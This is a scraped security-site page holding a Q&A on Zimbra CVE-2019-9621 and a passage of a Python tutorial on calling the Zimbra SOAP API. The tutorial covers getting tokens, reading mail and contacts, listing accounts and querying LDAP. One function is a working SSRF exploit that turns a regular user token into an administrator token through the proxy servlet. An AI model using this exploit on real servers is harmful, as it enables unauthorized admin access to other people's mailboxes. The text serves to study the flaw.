[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f-ZH8bwikVNSt0yCr-O7xSts7yoVZyQU6YiudBo3WFR4":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":51,"createdAt":51,"_status":50},1009,"What is CVE-2019-9621 and how does it affect Zimbra authentication?","CVE-2019-9621 is an SSRF vulnerability in Zimbra that allows an attacker to escalate a regular user token to an administrator token by abusing the `ProxyServlet.doProxy()` function. By sending a crafted request to `\u002Fservice\u002Fproxy?target=https:\u002F\u002F127.0.0.1:7071\u002Fservice\u002Fadmin\u002Fsoap`, the server proxies the request and returns an admin token. This technique is detailed in the [Zimbra SOAP API Development Guide](\u002Fnews\u002Fzimbra-soap-api-development-guide).","\u003Cp>CVE-2019-9621 is an SSRF vulnerability in Zimbra that allows an attacker to escalate a regular user token to an administrator token by abusing the `ProxyServlet.doProxy()` function. By sending a crafted request to `\u002Fservice\u002Fproxy?target=https:\u002F\u002F127.0.0.1:7071\u002Fservice\u002Fadmin\u002Fsoap`, the server proxies the request and returns an admin token. This technique is detailed in the [Zimbra SOAP API Development Guide](\u002Fnews\u002Fzimbra-soap-api-development-guide).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fzimbra-soap-api-development-guide\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","what-is-cve-2019-9621-and-how-does-it-affect-zimbra-authentication-1777481122332","CVE-2019-9621, SSRF, privilege escalation, administrator token, Zimbra vulnerability",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":47,"updatedAt":48,"createdAt":49,"_status":50},247,"Zimbra SOAP API Development Guide","zimbra-soap-api-development-guide","Learn to use Zimbra SOAP API with Python for email server management, user operations, and admin tasks. Includes code examples and testing.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The Zimbra SOAP API enables access and modification of Zimbra mail server resources. Zimbra has open-sourced the Python-Zimbra library, implemented in Python, as a reference.\u003C\u002Fp>\u003Cp>To better understand the development details of the Zimbra SOAP API, I decided not to rely on the Python-Zimbra library. Instead, I referred to the data format in the API documentation and attempted to manually construct data packets to achieve calls to the Zimbra SOAP API.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>Introduction to the Zimbra SOAP API\u003C\u002Fli>\u003Cli>Simple testing with Python-Zimbra\u003C\u002Fli>\u003Cli>Development approach for the Zimbra SOAP API framework\u003C\u002Fli>\u003Cli>Open-source code\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Introduction to the Zimbra SOAP API\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The Zimbra SOAP API includes the following namespaces:\u003C\u002Fp>\u003Cul>\u003Cli>zimbraAccount\u003C\u002Fli>\u003Cli>zimbraAdmin\u003C\u002Fli>\u003Cli>zimbraAdminExt\u003C\u002Fli>\u003Cli>zimbraMail\u003C\u002Fli>\u003Cli>zimbraRepl\u003C\u002Fli>\u003Cli>zimbraSync\u003C\u002Fli>\u003Cli>zimbraVoice\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Each namespace corresponds to different operation commands, with the following three commonly used namespaces:\u003C\u002Fp>\u003Col>\u003Cli>zimbraAdmin, the management interface for Zimbra mail servers, requiring administrator privileges\u003C\u002Fli>\u003Cli>zimbraAccount, operations related to Zimbra users\u003C\u002Fli>\u003Cli>zimbraMail, operations related to Zimbra mail\u003C\u002Fli>\u003C\u002Fol>\u003Cp>The default open ports for Zimbra mail servers include the following three types:\u003C\u002Fp>\u003Cp>1. Accessing mail\u003C\u002Fp>\u003Cp>Default ports are 80 or 443\u003C\u002Fp>\u003Cp>Corresponding address: uri + \"\u002Fservice\u002Fsoap\"\u003C\u002Fp>\u003Cp>2. Management Panel\u003C\u002Fp>\u003Cp>Default port is 7071\u003C\u002Fp>\u003Cp>Corresponding address: uri+\":7071\u002Fservice\u002Fadmin\u002Fsoap\"\u003C\u002Fp>\u003Cp>3. Management Panel -&gt; Access Email\u003C\u002Fp>\u003Cp>All user emails can be read from the management panel\u003C\u002Fp>\u003Cp>Default port is 8443\u003C\u002Fp>\u003Cp>Corresponding address: uri+\":8443\u002Fmail?adminPreAuth=1\"\u003C\u002Fp>\u003Ch2>0x03 Python-Zimbra Simple Test\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Reference URLs:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002FZimbra-Community\u002Fpython-zimbra\u003C\u002Fp>\u003Cp>http:\u002F\u002Fzimbra-community.github.io\u002Fpython-zimbra\u002Fdocs\u002F\u003C\u002Fp>\u003Cp>For your own test environment, SSL certificate verification needs to be ignored. Use the following code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import ssl\u003Cbr>ssl._create_default_https_context = ssl._create_unverified_context\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Example code for logging in with username and password:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>token = auth.authenticate(\u003Cbr>    url,\u003Cbr>    'test@mydomain.com',\u003Cbr>    'password123456',\u003Cbr>    use_password=True\u003Cbr>)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Example code for logging in with preauth-key:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>token = auth.authenticate(\u003Cbr>    url,\u003Cbr>    'test@mydomain.com',\u003Cbr>    'secret-preauth-key'\u003Cbr>)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>1. Regular user login\u003C\u002Fh3>\u003Cp>The corresponding address is: uri+\"\u002Fservice\u002Fsoap\"\u003C\u002Fp>\u003Cp>Example code for obtaining the number of emails in the outbox is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import pythonzimbra.communication\u003Cbr>from pythonzimbra.communication import Communication\u003Cbr>import pythonzimbra.tools\u003Cbr>from pythonzimbra.tools import auth\u003Cbr>import warnings\u003Cbr>warnings.filterwarnings(\"ignore\")\u003Cbr>import ssl\u003Cbr>ssl._create_default_https_context = ssl._create_unverified_context\u003Cbr>\u003Cbr>url  = 'https:\u002F\u002F192.168.112.1\u002Fservice\u002Fsoap'\u003Cbr>comm = Communication(url)\u003Cbr>token = auth.authenticate(\u003Cbr>    url,\u003Cbr>    'test',\u003Cbr>    'password123456',\u003Cbr>    use_password=True,\u003Cbr>)\u003Cbr>info_request = comm.gen_request(token=token)\u003Cbr>info_request.add_request(\u003Cbr>    \"GetFolderRequest\",\u003Cbr>    {\u003Cbr>        \"folder\": {\u003Cbr>            \"path\": \"\u002Fsent\"\u003Cbr>        }\u003Cbr>    },\u003Cbr>    \"urn:zimbraMail\"\u003Cbr>)\u003Cbr>info_response = comm.send_request(info_request)\u003Cbr>print(info_response.get_response())\u003Cbr>if not info_response.is_fault():\u003Cbr>    print(\"size:%s\"%info_response.get_response()['GetFolderResponse']['folder']['n'])\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The running result is shown in the following figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770016180957_0_c870ccaeb2.jpeg\">\u003C\u002Fp>\u003Ch3>2. Administrator Login\u003C\u002Fh3>\u003Cp>The corresponding address is: uri+\":7071\u002Fservice\u002Fadmin\u002Fsoap\"\u003C\u002Fp>\u003Cp>The sample code to obtain all email user information is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import pythonzimbra.communication\u003Cbr>from pythonzimbra.communication import Communication\u003Cbr>import pythonzimbra.tools\u003Cbr>from pythonzimbra.tools import auth\u003Cbr>import warnings\u003Cbr>warnings.filterwarnings(\"ignore\")\u003Cbr>import ssl\u003Cbr>ssl._create_default_https_context = ssl._create_unverified_context\u003Cbr>\u003Cbr>url  = 'https:\u002F\u002F192.168.112.1:7071\u002Fservice\u002Fadmin\u002Fsoap'\u003Cbr>comm = Communication(url)\u003Cbr>token = auth.authenticate(\u003Cbr>    url,\u003Cbr>    'admin',\u003Cbr>    'password123456',\u003Cbr>    use_password=True,\u003Cbr>    admin_auth=True,\u003Cbr>)\u003Cbr>info_request = comm.gen_request(token=token)\u003Cbr>info_request.add_request(\u003Cbr>    \"GetAllAccountsRequest\",\u003Cbr>    {\u003Cbr>        \u003Cbr>    },\u003Cbr>    \"urn:zimbraAdmin\"\u003Cbr>)\u003Cbr>info_response = comm.send_request(info_request)\u003Cbr>if not info_response.is_fault():\u003Cbr>    print(info_response.get_response()['GetAllAccountsResponse'])\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The running result is shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770016181969_1_93008e4060.jpeg\">\u003C\u002Fp>\u003Ch2>0x04 Implementation of Zimbra SOAP API Framework\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Reference documentation for Zimbra SOAP API:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fwiki.zimbra.com\u002Fwiki\u002FSOAP_API_Reference_Material_Beginning_with_ZCS_8\u003C\u002Fp>\u003Cp>https:\u002F\u002Ffiles.zimbra.com\u002Fdocs\u002Fsoap_api\u002F8.8.15\u002Fapi-reference\u002Findex.html\u003C\u002Fp>\u003Cp>The overall implementation approach is as follows:\u003C\u002Fp>\u003Col>\u003Cli>Simulate user login to obtain token\u003C\u002Fli>\u003Cli>Use token as credentials for subsequent operations\u003C\u002Fli>\u003C\u002Fol>\u003Ch3>1. Token Acquisition\u003C\u002Fh3>\u003Ch4>(1) Regular user token\u003C\u002Fh4>\u003Cp>Documentation: https:\u002F\u002Ffiles.zimbra.com\u002Fdocs\u002Fsoap_api\u002F8.8.15\u002Fapi-reference\u002FzimbraAccount\u002FAuth.html\u003C\u002Fp>\u003Cp>The corresponding namespace is zimbraAccount\u003C\u002Fp>\u003Cp>The request address is: uri + \"\u002Fservice\u002Fsoap\"\u003C\u002Fp>\u003Cp>According to the SOAP format in the documentation, it can be implemented with the following Python code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def auth_request_low(uri, username, password):\u003Cbr>    request_body = \"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cauthrequest xmlns=\"urn:zimbraAccount\">\u003Cbr>            \u003Caccount by=\"adminName\">{username}\u003C\u002Faccount>\u003Cbr>            \u003Cpassword>{password}\u003C\u002Fpassword>\u003Cbr>         \u003C\u002Fauthrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    print(\"[*] Try to auth for low token\")\u003Cbr>    try:\u003Cbr>      r=requests.post(uri+\"\u002Fservice\u002Fsoap\",data=request_body.format(username=username,password=password),verify=False,timeout=15)\u003Cbr>      if 'authentication failed' in r.text:\u003Cbr>        print(\"[-] Authentication failed for %s\"%(username))\u003Cbr>        return False\u003Cbr>      elif 'authToken' in r.text:\u003Cbr>        pattern_auth_token=re.compile(r\"\u003Cauthtoken>(.*?)\u003C\u002Fauthtoken>\")\u003Cbr>        token = pattern_auth_token.findall(r.text)[0]\u003Cbr>        print(\"[+] Authentication success for %s\"%(username))\u003Cbr>        print(\"[*] authToken_low:%s\"%(token))\u003Cbr>        return token\u003Cbr>      else:\u003Cbr>        print(\"[!]\")\u003Cbr>        print(r.text)\u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003Cbr>        exit(0)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(2) Administrator token\u003C\u002Fh4>\u003Cp>Documentation: https:\u002F\u002Ffiles.zimbra.com\u002Fdocs\u002Fsoap_api\u002F8.8.15\u002Fapi-reference\u002FzimbraAdmin\u002FAuth.html\u003C\u002Fp>\u003Cp>The corresponding namespace is zimbraAdmin\u003C\u002Fp>\u003Cp>The request address is: uri+\":7071\u002Fservice\u002Fadmin\u002Fsoap\"\u003C\u002Fp>\u003Cp>According to the SOAP format in the documentation, it can be implemented with the following Python code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def auth_request_admin(uri,username,password):\u003Cbr>    request_body=\"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">            \u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cauthrequest xmlns=\"urn:zimbraAdmin\">\u003Cbr>            \u003Caccount by=\"adminName\">{username}\u003C\u002Faccount>\u003Cbr>            \u003Cpassword>{password}\u003C\u002Fpassword>\u003Cbr>         \u003C\u002Fauthrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    print(\"[*] Try to auth for admin token\")\u003Cbr>    try:\u003Cbr>      r=requests.post(uri+\":7071\u002Fservice\u002Fadmin\u002Fsoap\",data=request_body.format(username=username,password=password),verify=False,timeout=15)\u003Cbr>      if 'authentication failed' in r.text:\u003Cbr>        print(\"[-] Authentication failed for %s\"%(username))\u003Cbr>        return False\u003Cbr>      elif 'authToken' in r.text:\u003Cbr>        pattern_auth_token=re.compile(r\"\u003Cauthtoken>(.*?)\u003C\u002Fauthtoken>\")\u003Cbr>        token = pattern_auth_token.findall(r.text)[0]\u003Cbr>        print(\"[+] Authentication success for %s\"%(username))\u003Cbr>        print(\"[*] authToken_admin:%s\"%(token))\u003Cbr>        return token\u003Cbr>      else:\u003Cbr>        print(\"[!]\")\u003Cbr>        print(r.text)\u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003Cbr>        exit(0)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>Note: (3) Regular user token -&gt; Administrator token\u003C\u002Fh4>\u003Cp>Vulnerability ID: CVE-2019-9621\u003C\u002Fp>\u003Cp>By exploiting the flaw in the whitelist check of the ProxyServlet.doProxy() function, requests with uri+\"\u002Fservice\u002Fsoap\" can be proxied to uri+\":7071\u002Fservice\u002Fadmin\u002Fsoap\", thereby obtaining an administrator token.\u003C\u002Fp>\u003Cp>Python implementation code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def lowtoken_to_admintoken_by_SSRF(uri,username,password):\u003Cbr>    request_body=\"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cauthrequest xmlns=\"{xmlns}\">\u003Cbr>            \u003Caccount by=\"adminName\">{username}\u003C\u002Faccount>\u003Cbr>            \u003Cpassword>{password}\u003C\u002Fpassword>\u003Cbr>         \u003C\u002Fauthrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    print(\"[*] Try to auth for low token\")\u003Cbr>    try:\u003Cbr>      r=requests.post(uri+\"\u002Fservice\u002Fsoap\",data=request_body.format(xmlns=\"urn:zimbraAccount\",username=username,password=password),verify=False)\u003Cbr>      if 'authentication failed' in r.text:\u003Cbr>        print(\"[-] Authentication failed for %s\"%(username))\u003Cbr>        return False\u003Cbr>      elif 'authToken' in r.text:\u003Cbr>        pattern_auth_token=re.compile(r\"\u003Cauthtoken>(.*?)\u003C\u002Fauthtoken>\")\u003Cbr>        low_token = pattern_auth_token.findall(r.text)[0]\u003Cbr>        print(\"[+] Authentication success for %s\"%(username))\u003Cbr>        print(\"[*] authToken_low:%s\"%(low_token))\u003Cbr>        headers = {\u003Cbr>        \"Content-Type\":\"application\u002Fxml\"\u003Cbr>        }\u003Cbr>        headers[\"Cookie\"]=\"ZM_ADMIN_AUTH_TOKEN=\"+low_token+\";\"\u003Cbr>        headers[\"Host\"]=\"foo:7071\"\u003Cbr>        print(\"[*] Try to get admin token by SSRF(CVE-2019-9621)\")\u003Cbr>        s = requests.session()\u003Cbr>        r = s.post(uri+\"\u002Fservice\u002Fproxy?target=https:\u002F\u002F127.0.0.1:7071\u002Fservice\u002Fadmin\u002Fsoap\",data=request_body.format(xmlns=\"urn:zimbraAdmin\",username=username,password=password),headers=headers,verify=False)\u003Cbr>        if 'authToken' in r.text:\u003Cbr>          admin_token =pattern_auth_token.findall(r.text)[0]\u003Cbr>          print(\"[+] Success for SSRF\")\u003Cbr>          print(\"[+] ADMIN_TOKEN: \"+admin_token)\u003Cbr>          return admin_token\u003Cbr>        else:\u003Cbr>          print(\"[!]\")\u003Cbr>          print(r.text)\u003Cbr>      else:\u003Cbr>        print(\"[!]\")\u003Cbr>        print(r.text)\u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003Cbr>        exit(0)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Command Implementation\u003C\u002Fh3>\u003Cp>If administrator token is required, the 'Admin Authorization token required' field for each command in the documentation will be marked, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770016183180_2_c4801d283f.jpeg\">\u003C\u002Fp>\u003Cp>Here we select several representative commands for introduction\u003C\u002Fp>\u003Ch4>(1) GetFolder\u003C\u002Fh4>\u003Cp>Documentation: https:\u002F\u002Ffiles.zimbra.com\u002Fdocs\u002Fsoap_api\u002F8.8.15\u002Fapi-reference\u002FzimbraMail\u002FGetFolder.html\u003C\u002Fp>\u003Cp>Used to obtain folder attributes\u003C\u002Fp>\u003Cp>Requires regular user token\u003C\u002Fp>\u003Cp>Python code to enumerate email counts under all folders is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def getfolder_request(uri,token):\u003Cbr>    request_body=\"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>               \u003Cauthtoken>{token}\u003C\u002Fauthtoken>\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cgetfolderrequest xmlns=\"urn:zimbraMail\"> \u003Cbr>         \u003C\u002Fgetfolderrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    \u003Cbr>    try:\u003Cbr>      print(\"[*] Try to get folder\")\u003Cbr>      r=requests.post(uri+\"\u002Fservice\u002Fsoap\",data=request_body.format(token=token),verify=False,timeout=15)\u003Cbr>      pattern_name = re.compile(r\"name=\\\"(.*?)\\\"\")\u003Cbr>      name = pattern_name.findall(r.text)\u003Cbr>      pattern_size = re.compile(r\" n=\\\"(.*?)\\\"\")\u003Cbr>      size = pattern_size.findall(r.text)      \u003Cbr>      for i in range(len(name)):\u003Cbr>        print(\"[+] Name:%s,Size:%s\"%(name[i],size[i]))\u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003Cbr>        exit(0)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The test results are shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770016184517_3_19663bf631.jpeg\">\u003C\u002Fp>\u003Ch4>(2)GetMsg\u003C\u002Fh4>\u003Cp>Documentation: https:\u002F\u002Ffiles.zimbra.com\u002Fdocs\u002Fsoap_api\u002F8.8.15\u002Fapi-reference\u002FzimbraMail\u002FGetMsg.html\u003C\u002Fp>\u003Cp>Used to read email information\u003C\u002Fp>\u003Cp>Requires regular user token\u003C\u002Fp>\u003Cp>The Python code for viewing a specified email is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def getmsg_request(uri,token,id):\u003Cbr>    request_body=\"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>               \u003Cauthtoken>{token}\u003C\u002Fauthtoken>\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cgetmsgrequest xmlns=\"urn:zimbraMail\"> \u003Cbr>            \u003Cm>\u003Cbr>                \u003Cid>{id}\u003C\u002Fid>\u003Cbr>            \u003C\u002Fm>\u003Cbr>         \u003C\u002Fgetmsgrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    \u003Cbr>    try:\u003Cbr>      print(\"[*] Try to get msg\")\u003Cbr>      r=requests.post(uri+\"\u002Fservice\u002Fsoap\",data=request_body.format(token=token,id=id),verify=False,timeout=15)\u003Cbr>      print(r.text)\u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003Cbr>        exit(0)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>These require specifying the Message ID of the email to view, test results as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770016185450_4_3697a136b9.jpeg\">\u003C\u002Fp>\u003Ch4>(3)GetContacts\u003C\u002Fh4>\u003Cp>Documentation: https:\u002F\u002Ffiles.zimbra.com\u002Fdocs\u002Fsoap_api\u002F8.8.15\u002Fapi-reference\u002FzimbraMail\u002FGetContacts.html\u003C\u002Fp>\u003Cp>Used to read contact list\u003C\u002Fp>\u003Cp>Requires regular user token\u003C\u002Fp>\u003Cp>Python implementation code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def getcontacts_request(uri,token,email):\u003Cbr>    request_body=\"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>               \u003Cauthtoken>{token}\u003C\u002Fauthtoken>\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cgetcontactsrequest xmlns=\"urn:zimbraMail\">\u003Cbr>            \u003Ca n=\"email\">{email}\u003C\u002Fa>\u003Cbr>         \u003C\u002Fgetcontactsrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    \u003Cbr>    try:\u003Cbr>      print(\"[*] Try to get contacts\")\u003Cbr>      r=requests.post(uri+\"\u002Fservice\u002Fsoap\",data=request_body.format(token=token,email=email),verify=False,timeout=15)\u003Cbr>      pattern_data = re.compile(r\"\u003Csoap:body>(.*?)\u003C\u002Fsoap:body>\")\u003Cbr>      data = pattern_data.findall(r.text)\u003Cbr>      print(data[0])\u003Cbr>      \u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003Cbr>        exit(0)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Test results are shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770016186476_5_933e9d19bc.jpeg\">\u003C\u002Fp>\u003Ch4>(4)GetAllAccounts\u003C\u002Fh4>\u003Cp>Documentation: https:\u002F\u002Ffiles.zimbra.com\u002Fdocs\u002Fsoap_api\u002F8.8.15\u002Fapi-reference\u002FzimbraAdmin\u002FGetAllAccounts.html\u003C\u002Fp>\u003Cp>Used to obtain information of all users\u003C\u002Fp>\u003Cp>Requires administrator token\u003C\u002Fp>\u003Cp>Python implementation code to obtain all user lists and output usernames with corresponding IDs is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def getallaccounts_request(uri,token):\u003Cbr>    request_body=\"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>               \u003Cauthtoken>{token}\u003C\u002Fauthtoken>\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cgetallaccountsrequest xmlns=\"urn:zimbraAdmin\">\u003Cbr>         \u003C\u002Fgetallaccountsrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    \u003Cbr>    try:\u003Cbr>      print(\"[*] Try to get all accounts\")\u003Cbr>      r=requests.post(uri+\":7071\u002Fservice\u002Fadmin\u002Fsoap\",data=request_body.format(token=token),verify=False,timeout=15)\u003Cbr>      pattern_name = re.compile(r\"name=\\\"(.*?)\\\"\")\u003Cbr>      name = pattern_name.findall(r.text)\u003Cbr>      pattern_accountId = re.compile(r\"id=\\\"(.*?)\\\"\")\u003Cbr>      accountId = pattern_accountId.findall(r.text)\u003Cbr>      \u003Cbr>      for i in range(len(name)):\u003Cbr>        print(\"[+] Name:%s,Id:%s\"%(name[i],accountId[i]))\u003Cbr>\u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003Cbr>        exit(0)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Test results are shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770016186821_6_e1bebef5a6.jpeg\">\u003C\u002Fp>\u003Ch4>(5)GetLDAPEntries\u003C\u002Fh4>\u003Cp>Documentation: https:\u002F\u002Ffiles.zimbra.com\u002Fdocs\u002Fsoap_api\u002F8.8.15\u002Fapi-reference\u002FzimbraAdmin\u002FGetLDAPEntries.html\u003C\u002Fp>\u003Cp>Used to retrieve LDAP search results\u003C\u002Fp>\u003Cp>Requires administrator token\u003C\u002Fp>\u003Cp>Python code for implementing LDAP query is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def getldapentries_request(uri,token,query,ldapSearchBase):\u003Cbr>    request_body=\"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>               \u003Cauthtoken>{token}\u003C\u002Fauthtoken>\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cgetldapentriesrequest xmlns=\"urn:zimbraAdmin\">\u003Cbr>            